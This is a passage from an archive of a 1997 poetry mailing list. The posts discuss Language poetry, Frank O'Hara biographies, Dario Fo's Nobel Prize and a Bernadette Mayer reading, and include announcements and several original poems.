Malmude, Drew Gardner, Judith Goldman, Barbara Henning, Cynthia Nelson, Cliff Fyman, Rob Fitterman, Stephen Rodefer, oh there were many people there.

Jordan Davis

↑ Index

230. Burt Kimmelman
Re: the Gooch biography of Frank O'Hara
Thu 9 Oct 1997

---

sorry, maria, i for one enjoyed the music and ambience of the bird movie, but did feel that finally i was unconnected with the story. just the same i thought there were some fine performances.

↑ Index

231. Judy Roitman
Re: defining language
Thu 9 Oct 1997

Henry Gould writes:

> *the idea*
> *of turning away strict denotation for free artistic play*

Not only for free artistic play. For understanding.

For example, the notion of "strict denotation" seldom passes scrutiny if you scrutinize carefully enough.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

232. Pritchett,Pat
Re: that time of year again
Thu 9 Oct 1997

I don't know newly christened Nobel Laureate Dario Fo's work at all, but anybody who pisses off the Vatican as much as he has must be doing something right. Was a little disappointed, all the same, that the Nobel Committee once again kept the Prize in their own backyard. Still, if Fo's work is as radical as his detractors feel it is, then I guess they've indeed exercised a little temerity this time out.

Patrick Pritchett

↑ Index

233. Harold Rhenisch
Re: Defining Language Poetry
Thu 9 Oct 1997

"please elaborate...not on the poets...but on expressing and the USE of words...."

—

If I may slip a query in:

What would they be used for?

W.S. Graham played with this thought from the other side (well, almost) of a cognitive mirror, and asked:

What is the language using us for?

What a tease.

Harold Rhenisch

↑ Index

234. Harold Rhenisch
Re: SoKalled
Thu 9 Oct 1997

"Tom. I have no problem with the notion that science makes useful contributions to the world as long as such sentiments remain a notion. Unfortunately, it has already gone well beyond the benign passiveness of the phrase "making useful contributions to our understanding of the world." For example, science uncritically substitutes the contingent and historically bound "notion" of existence for that of being and the immutability inhering in what Stanley Rosen calls the "ontological copula." What's worse is that science writers make this substitution whenever they damn well please because they are not under any constraints to be more rigorous in their attempts to describe physical phenomena through language."

**

Another way to approach science writing would be to ask what is the belief system that causes the substitution of science as Being for science as method. Furthermore, _why_ are these writers not under any constraints to be more specific? The method, after all, boasts its specificity. So, back to the first question: why the substitution in the first place? Maybe because there are social and political foundations to the lack of constraints and we are seeing these work their way out through language usage. Now, if that language usage and its social and political foundations could be opened out, so that it was in the foreground and the science was in the background, we would have quite the story.

What is the belief system that causes the unwitting substitution of poetry as Being for poetry as method? I can see doing it on purpose, like shooting particles out of an accelerator, to see what might happen, but doing it by accident suggests a use of language which is going to have other manifestations, consequences, etc., which are going to colour or discolour all other parts of the poetic undertaking. Undertaking the same exercise as with the science, of shifting the point of view so that these manifestations and their underpinnings are in the foreground and the poetic undertaking slips back would, I think, be like Pound's Cantos. Ez kept going on about Joyce, the therapeutic nature of Ulysses, and how his Cantos were doing the same thing. He bogged down with his Paradiso, though. Was this because his method got bogged down, he was

confusing terms again, or he was just old and lost in a maze looking for a minotaur which his method prevented him from seeing?

Harold Rhenisch

↑ Index

235. Harold Rhenisch
Bly/Dorst
Thu 9 Oct 1997

Bly also deconstructed Iron John in a most wooden manner.

I'd take Dorst's Grindkopf anyday. It at least is dramatic.

Harold Rhenisch

↑ Index

236. Jacques Debrot
Re: O'Hara/Orton
Thu 9 Oct 1997

For anyone who may be interested, there is an extremely interesting reading of O'Hara's work from a slightly different angle than the one generally taken by literary critics -- and from Gooch, for that matter -- in Joe Orton's *Figuring Jasper Johns* Harvard UP, 1994. The first chapter, "Present, the Scene of My Selves, the Occassion of these Ruses," is especially revealing in the way that Orton traces the negative influence in the development of Johns' and O'Hara's somewhat divergent styles of disjunction and euphemism -- as well as the socially-limited artistic culture of the mid-1950s itself - to the paranoid climate of the Cold War period (& much, much more -- a great companion study to Shoptaw's discussion of Ashbery's "homotextuality" in *On the Outside Looking Out*).

↑ Index

237. William Burmeister Prod
Re: defining language
Thu 9 Oct 1997

I like how the ancient Greeks referred to words as "momentary deities."

↑ Index

238. cris cheek
Re: that time of year again
Thu 9 Oct 1997

Was a little disappointed, all the same, that the Nobel Committee
>once again kept the Prize in their own backyard.

What backyard is that? Oh you mean Europe.
Fo is indeed worth seeing. 'Accidental Death of An Anarchist' is
a good place to start.
Nobel prize? who gives a damn.

love and love
cris

↑ Index

239. Rachel Loden
Re: SoKalled
Thu 9 Oct 1997

Communique from the resident logician:

This sounds a bit like the classic debate between literal-minded AI devotees and their equally literal-minded critics. It's been going on for at least the past 20 years and shows no signs of producing anything new, other than increasing resentment by its marginalized participants. It's getting a little tiresome.

As a set of metaphors, ways of driving the organization of software systems, AI had its share of successes. Many ideas that are now standard parts of modern operating systems, networking, word processors, etc. had their origins in the infamous AI Labs at MIT and Stanford. As we used to say, AI projects are re-marketed as Computer Science when they become successful. The next wave of AI-derived products will incorporate things like speech recognition (almost a reality, given higher-speed processors), invisible expert systems in electronic commerce etc. On the other hand, there are major flops like Microsoft Bob. Those are usually caused by the regrettable tendency of some implementors to confuse metaphors with reality, the "AI vision" with actual facts.

On the whole, I suspect that the entire debate has reached the point of diminishing returns. The crude device of "Artificial Intelligence" no longer works for those of us who are looking for results. The whole AI/anti-AI era does raise interesting questions around the use of metaphors and mental models in software development. And it is software that will largely control the practical aspects of our lives in the future.

Jussi Ketonen
[redacted]

↑ Index

240. Jacques Debrot
O'Hara/Orton
Thu 9 Oct 1997

Excuse my mistake -- that's FRED, not Joe Orton, of course.

↑ Index

241. Joseph D. Edwards
Re: Marianne Moore
Thu 9 Oct 1997

"Omissions are not Accidents" by Jeanne Heuving (Wayne State U. Press, 1992) gender in the art of Marianne Moore is good. If it helps, maybe you will submit poems to Common Knowledge (I solicited work from you a while back). Thanks, Belle Randall [redacted]

On Wed, 8 Oct 1997, Susan Wheeler wrote:

> *Any recos for texts that treat Moore's work's relationship to the self, or her own relationship to tradition (outside of the recent Fenton piece in NYRB) would be greatly appreciated backchannel. Many thanks.*
>
> *Susan Wheeler*
> [redacted]
> *voice/fax* [redacted]

||| From the keeper of the Wastewater Engineering Virtual Library ||| ||| URL http://www.cleanh2o.com/cleanh2o/ww/welcome.html ||| ||| or the Poetry Editor of Common Knowledge --> ||| ||| http://www.utdallas.edu/research/common_knowledge/index.html ||

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242. Karen and Trevor
For Sheila Murphy
Thu 9 Oct 1997

Sorry to have to use the List again...

...but if Sheila Murphy sees this and for some reason can't access her AOL where I left her a message, could she please backchannel?

Karen McKevitt, Editor-in-Chief, _fourteen hills_
[redacted]

↑ Index

243. **Maria Damon**
Re: O'Hara/Orton
Thu 9 Oct 1997

---

you mean, like, joe orton the british playwright? posthumously?

At 6:18 PM -0400 10/9/97, Jacques Debrot wrote:
>For anyone who may be interested, there is an extremely interesting reading
>of O'Hara's work from a slightly different angle than the one generally taken
>by literary critics -- and from Gooch, for that matter -- in Joe Orton's
>*Figuring Jasper Johns* Harvard UP, 1994. The first chapter, "Present, the
>Scene of My Selves, the Occassion of these Ruses," is especially revealing in
>the way that Orton traces the negative influence in the development of Johns'
>and O'Hara's somewhat divergent styles of disjunction and euphemism -- as
>well as the socially-limited artistic culture of the mid-1950s itself - to
>the paranoid climate of the Cold War period (& much, much more -- a great
>companion study to Shoptaw's discussion of Ashbery's "homotextuality" in *On
>the Outside Looking Out*).

↑ Index

244. **Maria Damon**
Re: B Mayer read
Thu 9 Oct 1997

---

yum yum.

At 1:41 PM -0400 10/9/97, Jordan Davis wrote:
>Got to St Marks after carrying the groceries home (new address: 246 Mott
>St Apt 24 NYC 10012) to find my wife and Bennett Simpson had saved me a
>seat in the 120+ crowd, Ed Friedman dimming the lights to encourage the
>bird flying around the parish hall to calm down and exit, Dug Rothschild
>climbing the window bay and covering the bird with his coat, catching him,
>opening the window releasing and applause. Oh causality! Dug sat back down
>with three feathers and there was Bernadette Mayer sitting in the front of
>the room at a table. Lisa Jarnot came forward and gave a lovely
>introduction in which she explained that before she read Bernadette
>everybody said you have to read Bernadette you have to meet her she'll
>change your life, and then she did meet her, and Bernadette's poems had
>changed her (Lisa's) poems, and Bernadette had changed Lisa's life, and it
>was a lovely introduction. Bernadette read new poems in a calm clear voice

>and she read some greatest hits ("Corn", "The Complete Introductory
>Lectures on Poetry") and she read some old fugitive poems from United
>Artists magazine and from her self-published book _Mutual Aid_, and she
>read some more new poems and she finished with some poems from her
>forthcoming collection _Another Smashed Pinecone_, due from United Artists
>early 1998. It was a terrific reading, and everybody was there. There was
>an intermission during which I ran around handing everyone present cards
>for the first Poetry City reading of the season, next Thursday at 6:30,
>which is half an hour earlier than usual, Anne Porter and David Shapiro.
>Anne Porter in case you don't know her work was a National Book Award
>nominee a couple years back for her book _An Altogether Different
>Language_, which collected her poems from the last 60 years. She is a
>favorite poet of Bernadette Mayer and countless other great readers. David
>Shapiro is the author of thousands of beautiful poems, he teaches at
>Cooper Union and at William Patterson College, and he is a tremendously
>thoughtful critic of the arts and one of the main secret catalysts of the
>renewed love for poetry in the world. He is an open secret. I hope that
>everybody who reads this message will find it in their budgets and their
>busy hours to come to this free reading October 16 at Teachers & Writers
>Collaborative, 5 Union Square West, New York NY. Call me at 1-888-BOOKS-
TW
>if you need directions. Then the intermission concluded and Eleni
>Sikelianos introduced Barbara Guest, and Barbara Guest read her poems,
>including pieces from "Quill Solitary Apparition" and from her selected
>poems. She concluded with works from "Rocks on a Platter", a forthcoming
>book about poetry. The audience was very pleased with the evening. The
>following people you may know may be consulted on this assertion: Leonard
>Schwartz, Anselm Berrigan, Peggy DeCoursey, Bruce Andrews, Eileen Myles,
>James Sherry, Mei-Mei Berssenbrugge (I think it was her), Steve Malmude,
>Drew Gardner, Judith Goldman, Barbara Henning, Cynthia Nelson, Cliff
>Fyman, Rob Fitterman, Stephen Rodefer, oh there were many people there.
>
>Jordan Davis

↑ Index

245. **Thomas Bell**

Re: the Gooch biography of Frank O'Hara

Fri 10 Oct 1997

---

purience is a fun word. I've been on working on a series of prurience poems (poetry written on a background drawing or image). I will not the list by attaching the graphics, but will send the graphics. They also are at

http://www.public.usit.net/trbell

.At 08:59 AM 10/9/97 EST, Burt Kimmelman [redacted] wrote:
>yes but i wonder if the "bird" film didn't at least avoid a kind of prurience
>gooch has been accused of.
>
> Missing in Action Alpha

pruient muddles of life
we make prudish puddles
prudish puddles
down the alley not too far from home
after the torrential thaw
of strife-free zones

paucity of words
the rupture does not quite heal
rasp of her voiced concern
was at odds with the melancholy

wings of lithe gossamer
with the melancholy we felt
at the end of the route downward
spiral
of the the end of the world in melons

Talking to my body? It talks back.

Pain and pressure out of control. Uncontrollable.
Over and over why have I done this to myself over and over
over the years?

Condemnation is constricting, forgiveness devine
angel of the knight of the round table. Why
not act.

Lightness of being The Laughing Policeman "For Kundera the weight of living consists chiefly in constriction, in the dense net of public and private constrictions that enfolds us more and more closely." Calvino

METAMORPHOSIS

In his ceaseless discourses on the unbearable weight of living, Leopardi bestows many images of lightness on the happiness he thinks we can never attain: birds, the voice of a girl singing at a window, the clarity of the air - and, above all, the moon.

cobalt in the blue vault
coaxed in the blues' head

howling wolf one too many times
myna bird caws
The falcon is me

fault in the red shoes
where do we go round?

When you physically write the connections become
we are not able to see the color and spirit of what is there unless
we change the way we look at it

Missing in Action Beta

as pruience cuts both ways
so prudence is in the proof

distant sterile words
don't say

a brush of the shadow whispers
unrelenting sorrow and
melancholy

I live in the midst, in the mixt
but can't speak it

I am the spin doctor
I write the score

where do we go round?

I am not the doctor.
I am me.
but there are the things we do

Beyond my grasp
the balloons are

Beyond my grasp
the balloons are
right now

Menace lurks beyond the curtins
and lace decimates her face

Honkytonk Rambles didn't know
how to say .
Got a Hallmark

but there are the things we do

The curve of my mind loops back again
.

↑ Index

246. David R. Israel
the tragedy of limerick
Fri 10 Oct 1997

[was, Re: Defining Language Poetry]

quoth Tom Beard,

> *The Gass quote, by the way, I found in "The Alphabet Abecedarium" by Richard J Firmage, which I am finding a delightful read. Another interesting quote from Gass, which I saw in U&lc (why am I always coming across Gass in typographic journals and books? Perhaps I should read the guy!), was along the lines of "Is it possible to write a tragedy in limerick?" This is one of the best summations I've seen of the whole form/content saga.*

I've likewise much enjoyed Gass's essays at the essay (mainly a couple in Harper's Magazine -- to which he contributes some pithy item every couple years or something). Your quote begs for answer.

Thre once was a man who decided
he'd take any chance that provided
  a gleam of a hint
  to uncover the glint
that life so completely elided

he knew there was gold in the distance
he smelt it with melting insistance
  he traveled far miles
  with taciturn smiles
spurred on by uncommon persistance

he learned all the methods of charm
the soft & the strong of the arm
  his manners so polished
  his glance could demolish
untoward inticements toward harm

he even grew wide in perception
while fully adept at deception
  his "how do you do?"
  could ward off the flu
his "betcha" afforded protection

suave leaders became his confreres
fond lasses enjoyed his affairs
  he never spoke rudely
  (not naked but nudely)
e'en angels stood rapt at his prayers

as age lent its frost to his everest
bright socialites whispered "the cleverest!
  and jolliest sport
  to ever covort
in patios -- what a 'whatever'ist!"

it's strange that his fall came so swift
who'd think that his compass would drift?
  some blip on the screen
  unknown & unseen
effected so fell of a shift

he started down sarcasm's cliff
supposing -- but merely -- to riff
  his jokes grew pedantic
  then frazled then frantic
till darkness swirled deep in each "if . . . "

he dnagled his tales o'er naught
ere long he was cornered & caught
  he mumbled & halted
  now humbled -- assaulted
by *everthing* (id est, by aught)

that last that I saw of that bloke
he was babbling -- rambling -- broke
  he tried to connect
  in a manner correct
but the wheel was bereft of the spoke

[etc.?]

d.i.

↑ Index

247. **Stephen Cope**
Re: B Mayer read
Fri 10 Oct 1997

Very good news about the Mayer/Guest reading. For those who don't yet know, Bernadette's papers (which I have the singular luxury of processing) have recently been purchased by UCSD, and should be available to the public in the not too distant future. If what I've gone through so far is any indication, their transformative effect is in league with that of the poetry...

Stephen Cope

> *At 1:41 PM -0400 10/9/97, Jordan Davis wrote:*
> *Got to St Marks after carrying the groceries home (new address: 246 Mott St Apt 24 NYC 10012) to find my wife and Bennett Simpson had saved me a seat in the 120+ crowd, Ed Friedman dimming the lights to encourage the bird flying around the parish hall to calm down and exit, Dug Rothschild climbing the window bay and covering the bird with his coat, catching him, opening the window releasing and applause. Oh causality! Dug sat back down with three feathers and there was Bernadette Mayer sitting in the front of the room at a table. Lisa Jarnot came forward and gave a lovely introduction in which she explained that before she read Bernadette everybody said you have to read Bernadette you have to meet her she'll change your life, and then she did meet her, and Bernadette's poems had changed her (Lisa's) poems, and Bernadette had changed Lisa's life, and it was a lovely introduction. Bernadette read new poems in a calm clear voice and she read some greatest hits ("Corn", "The Complete Introductory Lectures on Poetry") and she read some old fugitive poems from United Artists magazine and from her self-published book _Mutual Aid_, and she read some more new poems and she finished with some poems from her forthcoming collection _Another Smashed Pinecone_, due from United Artists early 1998. It was a terrific reading, and everybody was there. There was an intermission during which I ran around handing everyone present cards for the first Poetry City reading of the season, next Thursday at 6:30, which is half an hour earlier than usual, Anne Porter and David Shapiro. Anne Porter in case you don't know her work was a National Book Award nominee a couple years back for her book _An Altogether Different Language_, which collected her poems from the last 60 years. She is a favorite poet of Bernadette Mayer and countless other great readers. David Shapiro is the author of thousands of beautiful poems, he teaches at Cooper Union and at William Patterson College, and he is a tremendously thoughtful critic of the arts and one of the main secret catalysts of the renewed love for poetry in the world. He is an open secret. I hope that everybody who reads this message will find it in their budgets and their busy hours to come to this free reading October 16 at Teachers & Writers Collaborative, 5 Union Square West, New York NY. Call me at 1-888-BOOKS-TW if you need directions. Then the intermission concluded and Eleni*

> *Sikelianos introduced Barbara Guest, and Barbara Guest read her poems, including pieces from "Quill Solitary Apparition" and from her selected poems. She concluded with works from "Rocks on a Platter", a forthcoming book about poetry. The audience was very pleased with the evening. The following people you may know may be consulted on this assertion: Leonard Schwartz, Anselm Berrigan, Peggy DeCoursey, Bruce Andrews, Eileen Myles, James Sherry, Mei-Mei Berssenbrugge (I think it was her), Steve Malmude, Drew Gardner, Judith Goldman, Barbara Henning, Cynthia Nelson, Cliff Fyman, Rob Fitterman, Stephen Rodefer, oh there were many people there.*
>
> *Jordan Davis*

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248. **Susan Schultz**

R TINFISH #5 now available

Fri 10 Oct 1997

TINFISH #5 is now available ($5 each, or $13 for a subscription of three issues) from Susan Schultz (47-391 Hui Iwa St., #3, Kaneohe, Hawai'i 96744--please make checks out to me). This issue includes work by Kathy Dee Kale-okealoha Kaloloahiliani Banggo, Ida Yoshinaga, Faye Kicknosway, Beth Murray, Tracy Ryan, Eileen Myles, Brian Henry, Kevin Killian, H.T., Mary Burger, David Bromige, Susan Gevirtz, Stephen Oliver, Randolph Healy, Chris Vitiello, David Fox, A.L.Nielsen, Tony Quagliano, Todd Baron, Joe Balaz, Bruce Andrews, John Mateer, Standard Schaefer, Joanne Burns, Rachel Loden, John Tranter, Michelle Murphy, and a review by Jonathan Morse. In other words, lots of good work from the USA and Australia and that other island nation, Ireland.

Stay tuned: Tinfish Network will soon be offering a chapbook of poems by Kathy (etc.) Banggo, _Forevaz, Anna_.

Susan

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

249. Layne Russell
Re: Expression
Fri 10 Oct 1997

James Finnegan wrote:

> *It's old news that language mediates. It seems too many critics rush to devalue the author's intent. A writer may want to be expressive, may want to "move" the reader emotionally. That language is an imperfect tool for such intent should not invalidate the attempt itself. To be sincere or to be genuine--are these inherently bad characteristics in a human being or in a writer?--when a writer writes, does one leave one's anger, humility, fear, pride, ecstasy and other human traits & emotions on a hook by the door?*
>
> *Finnegan*

yes

and if that hook was filled with such humannesses what would remain? remember, we're talking poetry, art....

Layne

~~~
~~~

↑ Index

251. Jacques Debrot
Re: Jasper Johns
Fri 10 Oct 1997

Apropos of John Yau's plug for his Jasper Johns' book, which I haven't seen but will look for now, I'd also strongly recommend another book of his, this one about Warhol called *In the Realm of Appearances.* If I remember correctly (though I'm the one who padded Joe Orton's bibliography after all) Yau gives a very persuasive brief there for an *experiential art* of which Duchamp is a prime example -- Yau's argument being that Duchamp's work had moved towards overcoming the temptation to aestheticize, or codify, occurring, as it does, within the realm of experience -- the *during*, while Warhol's appropriation of the ready-mades, in a way, always comes "after." I'm not sure I entirely agree with him, but the book is terrific. Yau also has lots of interesting things to say about Cage & the 60s art scene. However I do think that the term *academic* used in a derogatory way is, in many of the posts on this list, too often only a cheap/easy shot. Artists and poets shouldn't take *instructions* from academics certainly, and the most important creative work, it seems to me, always takes place in a space for which critical terms have not yet been conceived -- however I'm also convinced that people like Orton, de Duve, and Krauss have made very significant contributions to our understanding of contemporary art. When, in fact, does skepticism about critical theory, etc. cross the line over into the kind of anti-intellectualism for which Langpo was such an important corrective? (this last remark, of course, is not directed at Yau, who I'm certain is much better informed than I am).

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252. Mark Prejsnar
Re: Defining Language Poetry
Fri 10 Oct 1997

Maybe for you the message somes from elsewhere (..from Spicer's martians??) --but not for a lot of us! However, in general, if like the sainted Jack you feel the message is coming from someplace else...Well, that often makes (as in his case) for fairly interesting writing! So go for it.

Mark

On Thu, 9 Oct 1997, henry g wrote:

> *On Thu, 9 Oct 1997 09:45:28 -0400 Mark Prejsnar said:*
> *Your way of putting it reminds me of the passage from Zukofsky that Peter Quatermain quotes so often (which admittedly is Zuke making a point,*

> *using very highly-charged rhetoric): subordinating the writing process to a dogged, four-square "message" is to take a "predatory" attituide toward the poem..*
>
> *this argument assumes the message comes from the poet. see Mandelstam's "Slate Ode" - one of heaviest & most direct of his poems about poetry. the "command" comes from "elsewhere", from the somatic (or semantic) depths, if you like. people get tired of my carping, I know. I get tired of it. but poetry is deeper, weirder, & more global than we think. we've had our teddy bearigans & our lang-pooh bears. now go sit at the feet of those russian bears for a while. that's been my "message" here for a long time. do what I do, not what I say. [to the tune of "Song of the Volga Boatmen"] grrrrrrrr.....*
> *- Henry Gould*
>
> *"the sermon of the plumbline" - O.M.*

↑ Index

253. **Mark Prejsnar**

Re: defining lang and the Prejsnar School

Fri 10 Oct 1997

If you like spite fine...

I don't, much..

You seem to be deliberately misreading what I said, or else you just wanna get my goat....Thinking that it's not productive to attack and dis poets all the time, that's **clique mentality**??????? Hmmmmmmmmm...

Gonna take me the whole weekend to work that one out!

Mark

On Thu, 9 Oct 1997, henry g wrote:

> *On Thu, 9 Oct 1997 10:17:38 -0400 Mark Prejsnar said:*
>
> *I guess what I'm saying, is that I value a community of practitioner/readers, who spend more energy sharing and discussing what they like, than dissing what they find less useful, less exciting. It seems harmless and reasonable (I've been second to none in explaining what I find bankrupt in the academic workshop APR-ish poetry establishment) until someone attacks what *you* consider valuble. Than it becomes clearer A. how any attacks you don't agree with always sound to you like they proceed from careerist envy and spite; and B. how unproductive they can seem. Much better to use our puny available resources to build the things we most value in the way of alternative poetries..*

> *Mark, you have solid grounds to criticize me & others who spout off endlessly dissing things in general. I confess to being a laughably lazy reader who works across the street from one of THE premier collections of poetry in english (the Harris collection) & hardly ever going in there.*
>
> *Yet your statement above seems to be a confession of the clique mentality. Any attacks on the poetry YOU like are seen as careerist, etc. So I still say, mea culpa, I'm sorry I talk too much, but as somebody who's been writing in a different vein for at least as long as the postmodernists & all their ilk, I still find a productive place for literary spite. If you can't look in a completely different direction once in a while you're gonna get very parochial fast. But yeah, more positive reviews would be good (I HAVE sent a FEW to this list over the yrs...) - Henry G.*

↑ Index

254. **John Latta**

Re: the Gooch biography of Frank O'Hara

Fri 10 Oct 1997

Two questions late on the heels of talk about the chat-stricken Gooch bio. I recall some years back seeing notice that Peter Schjeldahl was at work on a biography of O'Hara. Does anyone know what became of it?

Also, recently, in flipping through a 1980 entry on Ron Padgett in the Dictionary of Literary Biography, I spotted reference to Padgett's "currently editing The Selected Letters of Frank O'Hara for 1981 publication" or something of the like. Perhaps understandably premature, this.

Anyone know more?

↑ Index

255. **Rachel Levitsky**

Re: eddress?

Fri 10 Oct 1997

Hullo--
anyone got an email address or if not, then a snailmail, for
Beverley Dahlen?

thanks,
Rachel

↑ Index

256. James Finnegan
Re: Defining / Expression
Fri 10 Oct 1997

In a message dated 97-10-07 14:46:23 EDT, you write:

> *about the virtues of*
> **self-expression* I have a few reservations -- for instance, doesn't*
> *self-expression as a poetic value inevitably bring with it the clap-trap*
> *about sincerity, genuiness, etc. all of which obfuscate the ways in which*
> *expression is *mediated.* Hal Foster, of course, is great on this in his*
> *essay "The Expressive Fallacy."*

It's old news that language mediates. It seems too many critics rush to devalue the author's intent. A writer may want to be expressive, may want to "move" the reader emotionally. That language is an imperfect tool for such intent should not invalidate the attempt itself. To be sincere or to be genuine--are these inherently bad characteristics in a human being or in a writer?--when a writer writes, does one leave one's anger, humility, fear, pride, ecstasy and other human traits & emotions on a hook by the door?

Finnegan
Finnegan

↑ Index

257. Douglas Barbour
Re: SoKalled
Fri 10 Oct 1997

Tom Beard's latest response is most interesting. But I wonder why no one seems aware that there is another artistic forum in which these questions are explored: sf. I recommend Iain M Banks, especially his 'Culture' novels, especially.

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

I want only the wild and tender
phrasing of 'Nighthawk,'
its air groaned out
like the beath of a lover.
Rashomon by saxophone.
Michael Ondaatje

↑ Index

258. **hen**
Re: Defining Language Poetry
Fri 10 Oct 1997

On Fri, 10 Oct 1997 09:04:43 -0400 Mark Prejsnar said:
>Maybe for you the message somes from elsewhere (..from Spicer's
>martians??) --but not for a lot of us! However, in general, if like the
>sainted Jack you feel the message is coming from someplace else...Well,
>that often makes (as in his case) for fairly interesting writing! So go
>for it.

Franco Ferucci has a wonderful short book, sort of on this subject, called POETICS OF DISGUISE. The idea of "elsewhere" is nothing new - it's WHERE or WHO the elsewhere or elsewho is that gets all the gab. Ferucci talks about the "autobiography of the work" & those places where the author consciously or unconsciously disguises crises or cruxes in the writing process.

Ferucci offers a modified form of the concept of "inspiration" in which the author is a kind of conduit or gardener for something growing from a deeper level. - Henry Gould

↑ Index

259. **hen**
Re: defining lang and the Prejsnar School
Fri 10 Oct 1997

On Fri, 10 Oct 1997 09:08:48 -0400 Mark Prejsnar said:
>If you like spite fine...
>
>I don't, much..
>
>You seem to be deliberately misreading what I said, or else you just wanna
>get my goat....Thinking that it's not productive to attack and dis poets
>all the time, that's **clique mentality**??????? Hmmmmmmmmm...
>
>

>> On Thu, 9 Oct 1997 10:17:38 -0400 Mark Prejsnar said:
>> >
>> >I guess what I'm saying, is that I value a community of
>> >practitioner/readers, who spend more energy sharing and discussing what
>> >they like, than dissing what they find less useful, less exciting. It
>> >seems harmless and reasonable (I've been second to none in explaining what
>> >I find bankrupt in the academic workshop APR-ish poetry establishment)
>> >until someone attacks what *you* consider valuble. Than it becomes
>> >clearer A. how any attacks you don't agree with always sound to you like
>> >they proceed from careerist envy and spite; and B. how unproductive they
>> >can seem. Much better to use our puny available resources to build the
>> >things we most value in the way of alternative poetries..

Mark, I'm sorry if I misread what you said. I agree with your general argument & have said so before. I just don't get the last statement above. It's seems you are saying that, since you will intepret any attacks on the stuff you like as only careerist spite, you want only to hear the good news. That attitude is what I called tending toward the parochial. I happen to enjoy the debate & arguments on all these poetics issues, though I do agree there are problems with it (boredom, ignorant generalizations & misunderstandings, abstraction-burnout, hypertrophy of the "critical", Poetics-list addictions...) - Henry

↑ Index

260. **mark weiss**
Re: Defining Language Poetry
Fri 10 Oct 1997

The sense of an outside source, which predates Spicer by a bit, has to do with a sense of loss of control--that one is saying what one couldn't have predicted when one started, that whatever the game plan, formal or intellectual, of the poem, has created an environment in which something unexpected, terrifying, or enlightening (or all three) has ben discovered, and the poet finds himself for the moment without a map, having discovered a new place not accessible to mere intelligence. Call it meditation on the social role of poetry, call it the intervention of the muse, call it making it new, those are strategies. Now you must change your life.

At 09:04 AM 10/10/97 -0400, you wrote:
>Maybe for you the message somes from elsewhere (..from Spicer's
>martians??) --but not for a lot of us! However, in general, if like the
>sainted Jack you feel the message is coming from someplace else...Well,
>that often makes (as in his case) for fairly interesting writing! So go

>for it.
>
>Mark
>
>
>
>On Thu, 9 Oct 1997, henry g wrote:
>
>> On Thu, 9 Oct 1997 09:45:28 -0400 Mark Prejsnar said:
>> >Your way of putting it reminds me of the passage from Zukofsky that Peter
>> >Quatermain quotes so often (which admittedly is Zuke making a point,
>> >using very highly-charged rhetoric): subordinating the writing process to
>> >a dogged, four-square "message" is to take a "predatory" attituide toward
>> >the poem..
>>
>> this argument assumes the message comes from the poet. see Mandel-
stam's
>> "Slate Ode" - one of heaviest & most direct of his poems about poetry.
>> the "command" comes from "elsewhere", from the somatic (or semantic)
>> depths, if you like. people get tired of my carping, I know. I get
>> tired of it. but poetry is deeper, weirder, & more global than we think.
>> we've had our teddy bearigans & our lang-pooh bears. now go sit at the
>> feet of those russian bears for a while. that's been my "message" here
>> for a long time. do what I do, not what I say. [to the tune of
>> "Song of the Volga Boatmen"] grrrrrrrr.....
>> - Henry Gould
>>
>> "the sermon of the plumbline" - O.M.
>>
>
>

↑ Index

261. **Jordan Davis**
world's longest building stopped mid-construction
Fri 10 Oct 1997

Re: Schjeldahl O'Hara bio -- it looks to be permanently on hold.

Re: the letters of FO'H -- I believe this is a question better directed to the estate than to Ron Padgett --

Jordan

↑ Index

262. **aerialedge**
2 DC & 1 NYC Reading
Fri 10 Oct 1997

---

in DC -- Sat. Oct 11 @ 7:30
Heather Fuller & Bill Howe
Ruthless Grip Art Project
near 15th & U Streets NW

in NY --Wed. Oct 15 @ 8 PM
Edwin Torres & Rod Smith
The Poetry Project at St. Mark's Church
131 East 10th St (at 2nd Ave)

in DC-- Thurs. Oct 16 @ 8 PM
Leslie Scalapino
Georgetown University
Auditorium at the Intercultural Center
([redacted] for information)

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263. **Mark Prejsnar**
Re: defining lang and the Prejsnar School
Fri 10 Oct 1997

I thought I was just being self-aware and somewhat self-critical, and heck even a little bit dry and ironic and amusing....

Guess I haven't got this internet "tone" thing down yet, at all...

And I *only* used the word spite 'cause you did...."careerist spite" etc....that was all supposed to be me explaining that I realize some people (associated with what I call the "mainstream" poetry scene) may sometimes feel that way about me...And it helps me to realize that because sometimes put-downs of what I consider good poetry sound a little that way to my ears (not you, but some folks I've spoken with) and so now I was trying to be a tad self-critical and.....

Anyway, maybe you get the general idea...And maybe not...in the words of Arthur Dent I seem to having terrible difficulty with my (internet) life style...

I will now attempt to drop this (not thread but) tangle..

Mark P.

On Fri, 10 Oct 1997, hen wrote:

> *On Fri, 10 Oct 1997 09:08:48 -0400 Mark Prejsnar said:*
> *If you like spite fine...*
>
> *I don't, much..*
>
> *You seem to be deliberately misreading what I said, or else you just wanna get my goat....Thinking that it's not productive to attack and dis poets all the time, that's **clique mentality**??????? Hmmmmmmmmm...*
>
> *On Thu, 9 Oct 1997 10:17:38 -0400 Mark Prejsnar said:*
>
> *I guess what I'm saying, is that I value a community of practitioner/readers, who spend more energy sharing and discussing what they like, than dissing what they find less useful, less exciting. It seems harmless and reasonable (I've been second to none in explaining what I find bankrupt in the academic workshop APR-ish poetry establishment) until someone attacks what *you* consider valuble. Than it becomes clearer A. how any attacks you don't agree with always sound to you like they proceed from careerist envy and spite; and B. how unproductive they can seem. Much better to use our puny available resources to build the things we most value in the way of alternative poetries..*
>
> *Mark, I'm sorry if I misread what you said. I agree with your general argument & have said so before. I just don't get the last statement above. It's seems you are saying that, since you will intepret any attacks on the stuff you like as only careerist spite, you want only to hear the good news. That attitude is what I called tending toward the parochial. I happen to enjoy the debate & arguments on all these poetics issues, though I do agree there are problems with it (boredom, ignorant generalizations & misunderstandings, abstraction-burnout, hypertrophy of the "critical", Poetics-list addictions...) - Henry*

↑ Index

264. **James Finnegan**
Re: ANOTHER ATTEMPT
Fri 10 Oct 1997

In a message dated 97-10-05 16:10:17 EDT, you write:

